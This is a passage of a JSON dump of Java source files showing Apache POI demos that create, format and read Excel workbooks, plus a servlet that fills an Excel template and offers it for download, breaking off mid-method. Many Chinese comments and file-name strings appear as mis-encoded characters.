    "content": "package com.jun.plugin.poi.demo;\n\nimport java.io.FileOutputStream;\n\nimport org.apache.poi.hssf.usermodel.HSSFWorkbook;\nimport org.apache.poi.ss.usermodel.Workbook;\n\npublic class Demo1 {\n\n\tpublic static void main(String[] args) throws Exception {\n\t\tWorkbook wb=new HSSFWorkbook(); // ����һ���µĹ�����\n\t\tFileOutputStream fileOut=new FileOutputStream(\"D:\\\\��Poi������Ĺ�����.xls\");\n\t\twb.write(fileOut);\n\t\tfileOut.close();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/demo/Demo10.java",
    "content": "package com.jun.plugin.poi.demo;\n\nimport java.io.FileOutputStream;\nimport java.util.Calendar;\nimport java.util.Date;\n\nimport org.apache.poi.hssf.usermodel.HSSFWorkbook;\nimport org.apache.poi.ss.usermodel.Cell;\nimport org.apache.poi.ss.usermodel.CellStyle;\nimport org.apache.poi.ss.usermodel.CreationHelper;\nimport org.apache.poi.ss.usermodel.IndexedColors;\nimport org.apache.poi.ss.usermodel.Row;\nimport org.apache.poi.ss.usermodel.Sheet;\nimport org.apache.poi.ss.usermodel.Workbook;\n\npublic class Demo10 {\n\n\tpublic static void main(String[] args) throws Exception{\n\t\tWorkbook wb=new HSSFWorkbook(); // ����һ���µĹ�����\n\t\tSheet sheet=wb.createSheet(\"��һ��Sheetҳ\");  // ������һ��Sheetҳ\n\t\tRow row=sheet.createRow(1); // ����һ����\n\t\t\n\t\tCell cell=row.createCell(1);\n\t\tcell.setCellValue(\"XX\");\n\t\tCellStyle cellStyle=wb.createCellStyle();\n\t\tcellStyle.setFillBackgroundColor(IndexedColors.AQUA.getIndex()); // ����ɫ\n\t\tcellStyle.setFillPattern(CellStyle.BIG_SPOTS);  \n\t\tcell.setCellStyle(cellStyle);\n\t\t\n\t\t\n\t\tCell cell2=row.createCell(2);\n\t\tcell2.setCellValue(\"YYY\");\n\t\tCellStyle cellStyle2=wb.createCellStyle();\n\t\tcellStyle2.setFillForegroundColor(IndexedColors.RED.getIndex()); // ǰ��ɫ\n\t\tcellStyle2.setFillPattern(CellStyle.SOLID_FOREGROUND);  \n\t\tcell2.setCellStyle(cellStyle2);\n\t\t\n\t\tFileOutputStream fileOut=new FileOutputStream(\"c:\\\\������.xls\");\n\t\twb.write(fileOut);\n\t\tfileOut.close();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/demo/Demo11.java",
    "content": "package com.jun.plugin.poi.demo;\n\nimport java.io.FileOutputStream;\nimport java.util.Calendar;\nimport java.util.Date;\n\nimport org.apache.poi.hssf.usermodel.HSSFWorkbook;\nimport org.apache.poi.ss.usermodel.Cell;\nimport org.apache.poi.ss.usermodel.CellStyle;\nimport org.apache.poi.ss.usermodel.CreationHelper;\nimport org.apache.poi.ss.usermodel.IndexedColors;\nimport org.apache.poi.ss.usermodel.Row;\nimport org.apache.poi.ss.usermodel.Sheet;\nimport org.apache.poi.ss.usermodel.Workbook;\nimport org.apache.poi.ss.util.CellRangeAddress;\n\npublic class Demo11 {\n\n\tpublic static void main(String[] args) throws Exception{\n\t\tWorkbook wb=new HSSFWorkbook(); // ����һ���µĹ�����\n\t\tSheet sheet=wb.createSheet(\"��һ��Sheetҳ\");  // ������һ��Sheetҳ\n\t\tRow row=sheet.createRow(1); // ����һ����\n\t\t\n\t\tCell cell=row.createCell(1);\n\t\tcell.setCellValue(\"��Ԫ��ϲ�����\");\n\t\t\n\t\tsheet.addMergedRegion(new CellRangeAddress(\n\t\t\t\t1, // ��ʼ��\n\t\t\t\t2, // ������\n\t\t\t\t1, // ��ʵ��\n\t\t\t\t2  // ������\n\t\t));\n\t\t\n\t\t\n\t\tFileOutputStream fileOut=new FileOutputStream(\"c:\\\\������.xls\");\n\t\twb.write(fileOut);\n\t\tfileOut.close();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/demo/Demo12.java",
    "content": "package com.jun.plugin.poi.demo;\n\nimport java.io.FileOutputStream;\n\nimport org.apache.poi.hssf.usermodel.HSSFWorkbook;\nimport org.apache.poi.ss.usermodel.Cell;\nimport org.apache.poi.ss.usermodel.CellStyle;\nimport org.apache.poi.ss.usermodel.Font;\nimport org.apache.poi.ss.usermodel.Row;\nimport org.apache.poi.ss.usermodel.Sheet;\nimport org.apache.poi.ss.usermodel.Workbook;\n\npublic class Demo12 {\n\n\tpublic static void main(String[] args) throws Exception{\n\t\tWorkbook wb=new HSSFWorkbook(); // ����һ���µĹ�����\n\t\tSheet sheet=wb.createSheet(\"��һ��Sheetҳ\");  // ������һ��Sheetҳ\n\t\tRow row=sheet.createRow(1); // ����һ����\n\t\t\n\t\t// ����һ�����崦����\n\t\tFont font=wb.createFont();\n\t\tfont.setFontHeightInPoints((short)24);\n\t\tfont.setFontName(\"Courier New\");\n\t\tfont.setItalic(true);\n\t\tfont.setStrikeout(true);\n\t\t\n\t\tCellStyle style=wb.createCellStyle();\n\t\tstyle.setFont(font);\n\t\t\n\t\tCell cell=row.createCell((short)1);\n\t\tcell.setCellValue(\"This is test of fonts\");\n\t\tcell.setCellStyle(style);\n\t\t\n\t\tFileOutputStream fileOut=new FileOutputStream(\"c:\\\\������.xls\");\n\t\twb.write(fileOut);\n\t\tfileOut.close();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/demo/Demo13.java",
    "content": "package com.jun.plugin.poi.demo;\n\nimport java.io.FileInputStream;\nimport java.io.FileOutputStream;\nimport java.io.InputStream;\n\nimport org.apache.poi.hssf.usermodel.HSSFWorkbook;\nimport org.apache.poi.poifs.filesystem.POIFSFileSystem;\nimport org.apache.poi.ss.usermodel.Cell;\nimport org.apache.poi.ss.usermodel.Row;\nimport org.apache.poi.ss.usermodel.Sheet;\nimport org.apache.poi.ss.usermodel.Workbook;\n\npublic class Demo13 {\n\n\tpublic static void main(String[] args) throws Exception{\n\t\tInputStream inp=new FileInputStream(\"c:\\\\������.xls\");\n\t\tPOIFSFileSystem fs=new POIFSFileSystem(inp);\n\t\tWorkbook wb=new HSSFWorkbook(fs);\n\t\tSheet sheet=wb.getSheetAt(0);  // ��ȡ��һ��Sheetҳ\n\t\tRow row=sheet.getRow(0); // ��ȡ��һ��\n\t\tCell cell=row.getCell(0); // ��ȡ��Ԫ��\n\t\tif(cell==null){\n\t\t\tcell=row.createCell(3);\n\t\t}\n\t\tcell.setCellType(Cell.CELL_TYPE_STRING);\n\t\tcell.setCellValue(\"���Ե�Ԫ��\");\n\t\t\n\t\tFileOutputStream fileOut=new FileOutputStream(\"c:\\\\������.xls\");\n\t\twb.write(fileOut);\n\t\tfileOut.close();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/demo/Demo14.java",
    "content": "package com.jun.plugin.poi.demo;\n\nimport java.io.FileOutputStream;\nimport java.util.Calendar;\nimport java.util.Date;\n\nimport org.apache.poi.hssf.usermodel.HSSFWorkbook;\nimport org.apache.poi.ss.usermodel.Cell;\nimport org.apache.poi.ss.usermodel.CellStyle;\nimport org.apache.poi.ss.usermodel.CreationHelper;\nimport org.apache.poi.ss.usermodel.IndexedColors;\nimport org.apache.poi.ss.usermodel.Row;\nimport org.apache.poi.ss.usermodel.Sheet;\nimport org.apache.poi.ss.usermodel.Workbook;\nimport org.apache.poi.ss.util.CellRangeAddress;\n\npublic class Demo14 {\n\n\tpublic static void main(String[] args) throws Exception{\n\t\tWorkbook wb=new HSSFWorkbook(); // ����һ���µĹ�����\n\t\tSheet sheet=wb.createSheet(\"��һ��Sheetҳ\");  // ������һ��Sheetҳ\n\t\tRow row=sheet.createRow(2); // ����һ����\n\t\tCell cell=row.createCell(2);\n\t\tcell.setCellValue(\"��Ҫ���� \\n �ɹ�����\");\n\t\t\n\t\tCellStyle cs=wb.createCellStyle();\n\t\t// ���ÿ��Ի���\n\t\tcs.setWrapText(true);\n\t\tcell.setCellStyle(cs);\n\t\t\n\t\t// �������еĸ߶�\n\t\trow.setHeightInPoints(2*sheet.getDefaultRowHeightInPoints());\n\t\t// ������Ԫ����\n\t\tsheet.autoSizeColumn(2);\n\t\t\n\t\tFileOutputStream fileOut=new FileOutputStream(\"c:\\\\������.xls\");\n\t\twb.write(fileOut);\n\t\tfileOut.close();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/demo/Demo15.java",
    "content": "package com.jun.plugin.poi.demo;\n\nimport java.io.FileOutputStream;\n\nimport org.apache.poi.hssf.usermodel.HSSFWorkbook;\nimport org.apache.poi.ss.usermodel.Cell;\nimport org.apache.poi.ss.usermodel.CellStyle;\nimport org.apache.poi.ss.usermodel.DataFormat;\nimport org.apache.poi.ss.usermodel.Row;\nimport org.apache.poi.ss.usermodel.Sheet;\nimport org.apache.poi.ss.usermodel.Workbook;\n\npublic class Demo15 {\n\n\tpublic static void main(String[] args) throws Exception{\n\t\tWorkbook wb=new HSSFWorkbook(); // ����һ���µĹ�����\n\t\tSheet sheet=wb.createSheet(\"��һ��Sheetҳ\");  // ������һ��Sheetҳ\n\t\tCellStyle style;\n\t\tDataFormat format=wb.createDataFormat();\n\t\tRow row;\n\t\tCell cell;\n\t\tshort rowNum=0;\n\t\tshort colNum=0;\n\t\t\n\t\trow=sheet.createRow(rowNum++);\n\t\tcell=row.createCell(colNum);\n\t\tcell.setCellValue(111111.25);\n\t\t\n\t\tstyle=wb.createCellStyle();\n\t\tstyle.setDataFormat(format.getFormat(\"0.0\")); // �������ݸ�ʽ\n\t\tcell.setCellStyle(style);\n\t\t\n\t\trow=sheet.createRow(rowNum++);\n\t\tcell=row.createCell(colNum);\n\t\tcell.setCellValue(1111111.25);\n\t\tstyle=wb.createCellStyle();\n\t\tstyle.setDataFormat(format.getFormat(\"#,##0.000\"));\n\t\tcell.setCellStyle(style);\n\t\t\n\t\tFileOutputStream fileOut=new FileOutputStream(\"c:\\\\������.xls\");\n\t\twb.write(fileOut);\n\t\tfileOut.close();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/demo/Demo2.java",
    "content": "package com.jun.plugin.poi.demo;\n\nimport java.io.FileOutputStream;\n\nimport org.apache.poi.hssf.usermodel.HSSFWorkbook;\nimport org.apache.poi.ss.usermodel.Workbook;\n\npublic class Demo2 {\n\n\tpublic static void main(String[] args) throws Exception {\n\t\t\n\t\tWorkbook wb=new HSSFWorkbook(); // ����һ���µĹ�����\n\t\twb.createSheet(\"��һ��Sheetҳ\");  // ������һ��Sheetҳ\n\t\twb.createSheet(\"�ڶ���Sheetҳ\");  // �����ڶ���Sheetҳ\n\t\tFileOutputStream fileOut=new FileOutputStream(\"c:\\\\��Poi�������Sheetҳ.xls\");\n\t\twb.write(fileOut);\n\t\tfileOut.close();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/demo/Demo3.java",
    "content": "package com.jun.plugin.poi.demo;\n\nimport java.io.FileOutputStream;\n\nimport org.apache.poi.hssf.usermodel.HSSFWorkbook;\nimport org.apache.poi.ss.usermodel.Cell;\nimport org.apache.poi.ss.usermodel.Row;\nimport org.apache.poi.ss.usermodel.Sheet;\nimport org.apache.poi.ss.usermodel.Workbook;\n\npublic class Demo3 {\n\n\tpublic static void main(String[] args) throws Exception{\n\t\tWorkbook wb=new HSSFWorkbook(); // ����һ���µĹ�����\n\t\tSheet sheet=wb.createSheet(\"��һ��Sheetҳ\");  // ������һ��Sheetҳ\n\t\tRow row=sheet.createRow(0); // ����һ����\n\t\tCell cell=row.createCell(0); // ����һ����Ԫ��  ��1��\n\t\tcell.setCellValue(1);  // ����Ԫ������ֵ\n\t\t\n\t\trow.createCell(1).setCellValue(1.2);   // ����һ����Ԫ�� ��2�� ֵ��1.2\n\t\t\n\t\trow.createCell(2).setCellValue(\"����һ���ַ�������\"); // ����һ����Ԫ�� ��3�� ֵΪһ���ַ���\n\t\t\n\t\trow.createCell(3).setCellValue(false);  // ����һ����Ԫ�� ��4�� ֵΪ��������\n\t\t\n\t\tFileOutputStream fileOut=new FileOutputStream(\"c:\\\\��Poi�������Cell.xls\");\n\t\twb.write(fileOut);\n\t\tfileOut.close();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/demo/Demo4.java",
    "content": "package com.jun.plugin.poi.demo;\n\nimport java.io.FileOutputStream;\nimport java.util.Calendar;\nimport java.util.Date;\n\nimport org.apache.poi.hssf.usermodel.HSSFWorkbook;\nimport org.apache.poi.ss.usermodel.Cell;\nimport org.apache.poi.ss.usermodel.CellStyle;\nimport org.apache.poi.ss.usermodel.CreationHelper;\nimport org.apache.poi.ss.usermodel.Row;\nimport org.apache.poi.ss.usermodel.Sheet;\nimport org.apache.poi.ss.usermodel.Workbook;\n\npublic class Demo4 {\n\n\tpublic static void main(String[] args) throws Exception{\n\t\tWorkbook wb=new HSSFWorkbook(); // ����һ���µĹ�����\n\t\tSheet sheet=wb.createSheet(\"��һ��Sheetҳ\");  // ������һ��Sheetҳ\n\t\tRow row=sheet.createRow(0); // ����һ����\n\t\tCell cell=row.createCell(0); // ����һ����Ԫ��  ��1��\n\t\tcell.setCellValue(new Date());  // ����Ԫ������ֵ\n\t\t\n\t\tCreationHelper createHelper=wb.getCreationHelper();\n\t\tCellStyle cellStyle=wb.createCellStyle(); //��Ԫ����ʽ��\n\t\tcellStyle.setDataFormat(createHelper.createDataFormat().getFormat(\"yyy-mm-dd hh:mm:ss\"));\n\t\tcell=row.createCell(1); // �ڶ���\n\t\tcell.setCellValue(new Date());\n\t\tcell.setCellStyle(cellStyle);\n\t\t\n\t\tcell=row.createCell(2);  // ������\n\t\tcell.setCellValue(Calendar.getInstance());\n\t\tcell.setCellStyle(cellStyle);\n\t\t\n\t\tFileOutputStream fileOut=new FileOutputStream(\"c:\\\\������.xls\");\n\t\twb.write(fileOut);\n\t\tfileOut.close();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/demo/Demo5.java",
    "content": "package com.jun.plugin.poi.demo;\n\nimport java.io.FileOutputStream;\nimport java.util.Calendar;\nimport java.util.Date;\n\nimport org.apache.poi.hssf.usermodel.HSSFCell;\nimport org.apache.poi.hssf.usermodel.HSSFWorkbook;\nimport org.apache.poi.ss.usermodel.Cell;\nimport org.apache.poi.ss.usermodel.CellStyle;\nimport org.apache.poi.ss.usermodel.CreationHelper;\nimport org.apache.poi.ss.usermodel.Row;\nimport org.apache.poi.ss.usermodel.Sheet;\nimport org.apache.poi.ss.usermodel.Workbook;\n\npublic class Demo5 {\n\n\tpublic static void main(String[] args) throws Exception{\n\t\tWorkbook wb=new HSSFWorkbook(); // ����һ���µĹ�����\n\t\tSheet sheet=wb.createSheet(\"��һ��Sheetҳ\");  // ������һ��Sheetҳ\n\t\tRow row=sheet.createRow(0); // ����һ����\n\t\tCell cell=row.createCell(0); // ����һ����Ԫ��  ��1��\n\t\tcell.setCellValue(new Date());  // ����Ԫ������ֵ\n\t\t\n\t\trow.createCell(1).setCellValue(1);\n\t\trow.createCell(2).setCellValue(\"һ���ַ���\");\n\t\trow.createCell(3).setCellValue(true);\n\t\trow.createCell(4).setCellValue(HSSFCell.CELL_TYPE_NUMERIC);\n\t\trow.createCell(5).setCellValue(false);\n\t\t\n\t\tFileOutputStream fileOut=new FileOutputStream(\"c:\\\\������.xls\");\n\t\twb.write(fileOut);\n\t\tfileOut.close();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/demo/Demo6.java",
    "content": "package com.jun.plugin.poi.demo;\n\nimport java.io.FileInputStream;\nimport java.io.InputStream;\n\nimport org.apache.poi.hssf.usermodel.HSSFCell;\nimport org.apache.poi.hssf.usermodel.HSSFRow;\nimport org.apache.poi.hssf.usermodel.HSSFSheet;\nimport org.apache.poi.hssf.usermodel.HSSFWorkbook;\nimport org.apache.poi.poifs.filesystem.POIFSFileSystem;\n\npublic class Demo6 {\n\n\tpublic static void main(String[] args) throws Exception{\n\t\tInputStream is=new FileInputStream(\"c:\\\\��������.xls\");\n\t\tPOIFSFileSystem fs=new POIFSFileSystem(is);\n\t\tHSSFWorkbook wb=new HSSFWorkbook(fs);\n\t\tHSSFSheet hssfSheet=wb.getSheetAt(0); // ��ȡ��һ��Sheetҳ\n\t\tif(hssfSheet==null){\n\t\t\treturn;\n\t\t}\n\t\t// ������Row\n\t\tfor(int rowNum=0;rowNum<=hssfSheet.getLastRowNum();rowNum++){\n\t\t\tHSSFRow hssfRow=hssfSheet.getRow(rowNum);\n\t\t\tif(hssfRow==null){\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\t// ������Cell\n\t\t\tfor(int cellNum=0;cellNum<=hssfRow.getLastCellNum();cellNum++){\n\t\t\t\tHSSFCell hssfCell=hssfRow.getCell(cellNum);\n\t\t\t\tif(hssfCell==null){\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tSystem.out.print(\" \"+getValue(hssfCell));\n\t\t\t}\n\t\t\tSystem.out.println();\n\t\t}\n\t}\n\t\n\tprivate static String getValue(HSSFCell hssfCell){\n\t\tif(hssfCell.getCellType()==HSSFCell.CELL_TYPE_BOOLEAN){\n\t\t\treturn String.valueOf(hssfCell.getBooleanCellValue());\n\t\t}else if(hssfCell.getCellType()==HSSFCell.CELL_TYPE_NUMERIC){\n\t\t\treturn String.valueOf(hssfCell.getNumericCellValue());\n\t\t}else{\n\t\t\treturn String.valueOf(hssfCell.getStringCellValue());\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/demo/Demo7.java",
    "content": "package com.jun.plugin.poi.demo;\n\nimport java.io.FileInputStream;\nimport java.io.InputStream;\n\nimport org.apache.poi.hssf.extractor.ExcelExtractor;\nimport org.apache.poi.hssf.usermodel.HSSFCell;\nimport org.apache.poi.hssf.usermodel.HSSFRow;\nimport org.apache.poi.hssf.usermodel.HSSFSheet;\nimport org.apache.poi.hssf.usermodel.HSSFWorkbook;\nimport org.apache.poi.poifs.filesystem.POIFSFileSystem;\n\npublic class Demo7 {\n\n\tpublic static void main(String[] args) throws Exception{\n\t\tInputStream is=new FileInputStream(\"c:\\\\��������.xls\");\n\t\tPOIFSFileSystem fs=new POIFSFileSystem(is);\n\t\tHSSFWorkbook wb=new HSSFWorkbook(fs);\n\t\t\n\t\tExcelExtractor excelExtractor=new ExcelExtractor(wb);\n\t\texcelExtractor.setIncludeSheetNames(false);// ���ǲ���ҪSheetҳ������\n\t\tSystem.out.println(excelExtractor.getText());\n\t}\n\t\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/demo/Demo8.java",
    "content": "package com.jun.plugin.poi.demo;\n\nimport java.io.FileOutputStream;\nimport java.util.Date;\n\nimport org.apache.poi.hssf.usermodel.HSSFCell;\nimport org.apache.poi.hssf.usermodel.HSSFCellStyle;\nimport org.apache.poi.hssf.usermodel.HSSFRichTextString;\nimport org.apache.poi.hssf.usermodel.HSSFWorkbook;\nimport org.apache.poi.ss.usermodel.Cell;\nimport org.apache.poi.ss.usermodel.CellStyle;\nimport org.apache.poi.ss.usermodel.Row;\nimport org.apache.poi.ss.usermodel.Sheet;\nimport org.apache.poi.ss.usermodel.Workbook;\n\npublic class Demo8 {\n\n\tpublic static void main(String[] args) throws Exception{\n\t\tWorkbook wb=new HSSFWorkbook(); // ����һ���µĹ�����\n\t\tSheet sheet=wb.createSheet(\"��һ��Sheetҳ\");  // ������һ��Sheetҳ\n\t\tRow row=sheet.createRow(2); // ����һ����\n\t\trow.setHeightInPoints(30);\n\t\t\n\t\tcreateCell(wb, row, (short)0, HSSFCellStyle.ALIGN_CENTER, HSSFCellStyle.VERTICAL_BOTTOM);\n\t\tcreateCell(wb, row, (short)1, HSSFCellStyle.ALIGN_FILL, HSSFCellStyle.VERTICAL_CENTER);\n\t\tcreateCell(wb, row, (short)2, HSSFCellStyle.ALIGN_LEFT, HSSFCellStyle.VERTICAL_TOP);\n\t\tcreateCell(wb, row, (short)3, HSSFCellStyle.ALIGN_RIGHT, HSSFCellStyle.VERTICAL_TOP);\n\t\t\n\t\tFileOutputStream fileOut=new FileOutputStream(\"c:\\\\������.xls\");\n\t\twb.write(fileOut);\n\t\tfileOut.close();\n\t}\n\t\n\t/**\n\t * ����һ����Ԫ��Ϊ���趨ָ���Ķ��䷽ʽ\n\t * @param wb ������\n\t * @param row ��\n\t * @param column  ��\n\t * @param halign  ˮƽ������䷽ʽ\n\t * @param valign  ��ֱ������䷽ʽ\n\t */\n\tprivate static void createCell(Workbook wb,Row row,short column,short halign,short valign){\n\t\tCell cell=row.createCell(column);  // ������Ԫ��\n\t\tcell.setCellValue(new HSSFRichTextString(\"Align It\"));  // ����ֵ\n\t\tCellStyle cellStyle=wb.createCellStyle(); // ������Ԫ����ʽ\n\t\tcellStyle.setAlignment(halign);  // ���õ�Ԫ��ˮƽ������䷽ʽ\n\t\tcellStyle.setVerticalAlignment(valign); // ���õ�Ԫ��ֱ������䷽ʽ\n\t\tcell.setCellStyle(cellStyle); // ���õ�Ԫ����ʽ\n\t}\n\t\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/demo/Demo9.java",
    "content": "package com.jun.plugin.poi.demo;\n\nimport java.io.FileOutputStream;\nimport java.util.Calendar;\nimport java.util.Date;\n\nimport org.apache.poi.hssf.usermodel.HSSFWorkbook;\nimport org.apache.poi.ss.usermodel.Cell;\nimport org.apache.poi.ss.usermodel.CellStyle;\nimport org.apache.poi.ss.usermodel.CreationHelper;\nimport org.apache.poi.ss.usermodel.IndexedColors;\nimport org.apache.poi.ss.usermodel.Row;\nimport org.apache.poi.ss.usermodel.Sheet;\nimport org.apache.poi.ss.usermodel.Workbook;\n\npublic class Demo9 {\n\n\tpublic static void main(String[] args) throws Exception{\n\t\tWorkbook wb=new HSSFWorkbook(); // ����һ���µĹ�����\n\t\tSheet sheet=wb.createSheet(\"��һ��Sheetҳ\");  // ������һ��Sheetҳ\n\t\tRow row=sheet.createRow(1); // ����һ����\n\t\t\n\t\tCell cell=row.createCell(1); // ����һ����Ԫ��\n\t\tcell.setCellValue(4);\n\t\t\n\t\tCellStyle cellStyle=wb.createCellStyle(); \n\t\tcellStyle.setBorderBottom(CellStyle.BORDER_THIN); // �ײ��߿�\n\t\tcellStyle.setBottomBorderColor(IndexedColors.BLACK.getIndex()); // �ײ��߿���ɫ\n\t\t\n\t\tcellStyle.setBorderLeft(CellStyle.BORDER_THIN);  // ��߱߿�\n\t\tcellStyle.setLeftBorderColor(IndexedColors.GREEN.getIndex()); // ��߱߿���ɫ\n\t\t\n\t\tcellStyle.setBorderRight(CellStyle.BORDER_THIN); // �ұ߱߿�\n\t\tcellStyle.setRightBorderColor(IndexedColors.BLUE.getIndex());  // �ұ߱߿���ɫ\n\t\t\n\t\tcellStyle.setBorderTop(CellStyle.BORDER_MEDIUM_DASHED); // �ϱ߱߿�\n\t\tcellStyle.setTopBorderColor(IndexedColors.BLACK.getIndex());  // �ϱ߱߿���ɫ\n\t\t\n\t\tcell.setCellStyle(cellStyle);\n\t\tFileOutputStream fileOut=new FileOutputStream(\"c:\\\\������.xls\");\n\t\twb.write(fileOut);\n\t\tfileOut.close();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/replace/ExcelReplaceDataVO.java",
    "content": "package com.jun.plugin.poi.replace;\n\n/**\n * Excel替换内容存储对象\n */\npublic class ExcelReplaceDataVO {\n\tprivate int row;// Excel单元格行\n\tprivate int column;// Excel单元格列\n\tprivate String key;// 替换的关键字\n\tprivate String value;// 替换的文本\n\n\tpublic int getRow() {\n\t\treturn row;\n\t}\n\n\tpublic void setRow(int row) {\n\t\tthis.row = row;\n\t}\n\n\tpublic int getColumn() {\n\t\treturn column;\n\t}\n\n\tpublic void setColumn(int column) {\n\t\tthis.column = column;\n\t}\n\n\tpublic String getKey() {\n\t\treturn key;\n\t}\n\n\tpublic void setKey(String key) {\n\t\tthis.key = key;\n\t}\n\n\tpublic String getValue() {\n\t\treturn value;\n\t}\n\n\tpublic void setValue(String value) {\n\t\tthis.value = value;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/replace/ExcelUtil.java",
    "content": "package com.jun.plugin.poi.replace;\n\nimport java.io.FileInputStream;\nimport java.io.FileOutputStream;\nimport java.util.List;\n\nimport org.apache.poi.hssf.usermodel.HSSFCell;\nimport org.apache.poi.hssf.usermodel.HSSFRow;\nimport org.apache.poi.hssf.usermodel.HSSFSheet;\nimport org.apache.poi.hssf.usermodel.HSSFWorkbook;\nimport org.apache.poi.poifs.filesystem.POIFSFileSystem;\n\npublic class ExcelUtil {\n\t/**\n\t * 替换Excel模板文件内容\n\t * \n\t * @param datas\n\t *            文档数据\n\t * @param sourceFilePath\n\t *            Excel模板文件路径\n\t * @param targetFilePath\n\t *            Excel生成文件路径\n\t */\n\tpublic static boolean replaceModel(List<ExcelReplaceDataVO> datas,\n\t\t\tString sourceFilePath, String targetFilePath) {\n\t\tboolean bool = true;\n\t\ttry {\n\t\t\tPOIFSFileSystem fs = new POIFSFileSystem(new FileInputStream(\n\t\t\t\t\tsourceFilePath));\n\t\t\tHSSFWorkbook wb = new HSSFWorkbook(fs);\n\t\t\tHSSFSheet sheet = wb.getSheetAt(0);\n\t\t\tfor (ExcelReplaceDataVO data : datas) {\n\t\t\t\t// 获取单元格内容\n\t\t\t\tHSSFRow row = sheet.getRow(data.getRow());\n\t\t\t\tHSSFCell cell = row.getCell((short) data.getColumn());\n\t\t\t\tString str = cell.getStringCellValue();\n\t\t\t\t// 替换单元格内容\n\t\t\t\tstr = str.replace(data.getKey(), data.getValue());\n\t\t\t\t// 写入单元格内容\n\t\t\t\tcell.setCellType(HSSFCell.CELL_TYPE_STRING);\n\t\t\t\t// cell.setEncoding(HSSFCell.ENCODING_UTF_16);\n\t\t\t\tcell.setCellValue(str);\n\t\t\t}\n\t\t\t// 输出文件\n\t\t\tFileOutputStream fileOut = new FileOutputStream(targetFilePath);\n\t\t\twb.write(fileOut);\n\t\t\tfileOut.close();\n\t\t} catch (Exception e) {\n\t\t\tbool = false;\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn bool;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/replace/ReplaceExcelServlet.java",
    "content": "package com.jun.plugin.poi.replace;\n\nimport java.io.BufferedInputStream;\nimport java.io.BufferedOutputStream;\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.OutputStream;\nimport java.util.ArrayList;\nimport java.util.Date;\nimport java.util.List;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\npublic class ReplaceExcelServlet extends HttpServlet {\n\tpublic static final String FILE_SEPARATOR = System.getProperties()\n\t\t\t.getProperty(\"file.separator\");\n\n\t@Override\n\tprotected void doPost(HttpServletRequest request,\n\t\t\tHttpServletResponse response) throws ServletException, IOException {\n\t\tdoGet(request, response);\n\t}\n\n\tpublic void doGet(HttpServletRequest request, HttpServletResponse response)\n\t\t\tthrows ServletException, IOException {\n\t\tString docsPath = request.getSession().getServletContext()\n\t\t\t\t.getRealPath(\"docs\");\n\t\tString templateName = \"replaceTemplate.xls\";// Excel模版\n\t\tString templatePath = docsPath + FILE_SEPARATOR + templateName;\n\t\tString fileName = \"replace.xls\";// 导出Excel文件名\n\t\tString filePath = docsPath + FILE_SEPARATOR + fileName;\n\t\tList<ExcelReplaceDataVO> datas = new ArrayList<ExcelReplaceDataVO>();\n\t\t// 找到第14行第2列的company，用\"XXX有限公司\"替换掉company\n\t\tExcelReplaceDataVO vo1 = new ExcelReplaceDataVO();\n\t\tvo1.setRow(13);\n\t\tvo1.setColumn(1);\n\t\tvo1.setKey(\"company\");\n\t\tvo1.setValue(\"XXX有限公司\");\n\t\t// 找到第5行第2列的content，用\"aa替换的内容aa\"替换掉content\n\t\tExcelReplaceDataVO vo2 = new ExcelReplaceDataVO();\n\t\tvo2.setRow(4);\n\t\tvo2.setColumn(1);\n\t\tvo2.setKey(\"content\");\n\t\tvo2.setValue(\"aa替换的内容aa\");\n\t\tdatas.add(vo1);\n\t\tdatas.add(vo2);\n\t\tExcelUtil.replaceModel(datas, templatePath, filePath);\n\t\tdownload(filePath, response);\n\t}\n\n\tprivate void download(String path, HttpServletResponse response) {\n\t\ttry {\n\t\t\t// path是指欲下载的文件的路径。\n\t\t\tFile file = new File(path);\n\t\t\t// 取得文件名。\n\t\t\tString filename = file.getName();\n\t\t\t// 以流的形式下载文件。\n\t\t\tInputStream fis = new BufferedInputStream(new FileInputStream(path));\n\t\t\tbyte[] buffer = new byte[fis.available()];\n\t\t\tfis.read(buffer);\n\t\t\tfis.close();\n\t\t\t// 清空response\n\t\t\tresponse.reset();\n\t\t\t// 设置response的Header\n\t\t\tresponse.addHeader(\"Content-Disposition\", \"attachment;filename=\"\n\t\t\t\t\t+ new String(filename.getBytes()));\n\t\t\tresponse.addHeader(\"Content-Length\", \"\" + file.length());\n\t\t\tOutputStream toClient = new 